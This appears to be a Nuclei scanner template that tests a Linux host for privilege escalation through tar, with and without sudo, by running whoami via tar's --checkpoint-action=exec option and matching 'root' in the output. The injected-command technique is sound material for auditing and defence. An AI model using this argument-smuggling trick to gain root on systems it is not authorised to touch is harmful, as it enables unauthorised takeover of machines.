48 lines
1.3 KiB
YAML
48 lines
1.3 KiB
YAML
id: privesc-tar
|
|
|
|
info:
|
|
name: tar - Privilege Escalation
|
|
author: daffainfo
|
|
severity: high
|
|
description: |
|
|
tar is a command-line utility used to create and manipulate archive files. It is commonly used for bundling multiple files and directories into a single archive, often used in conjunction with compression tools like gzip or bzip2.
|
|
reference:
|
|
- https://gtfobins.github.io/gtfobins/tar/
|
|
metadata:
|
|
verified: true
|
|
tags: code,linux,tar,privesc
|
|
|
|
self-contained: true
|
|
code:
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
whoami
|
|
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami
|
|
|
|
- engine:
|
|
- sh
|
|
- bash
|
|
source: |
|
|
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: code_1_response
|
|
words:
|
|
- "root"
|
|
negative: true
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(code_2_response, "root")'
|
|
- 'contains(code_3_response, "root")'
|
|
condition: or
|
|
# digest: 490a004630440220087093983b273eed4e1cd049ea189259644b82fa05d847a9ea5759d5cac748210220734da5a1acead8c4850dd1914e28f1789fcb6a8c15f401a025a85ad61c869e81:922c64590222798bb761d5b6d8e72950 |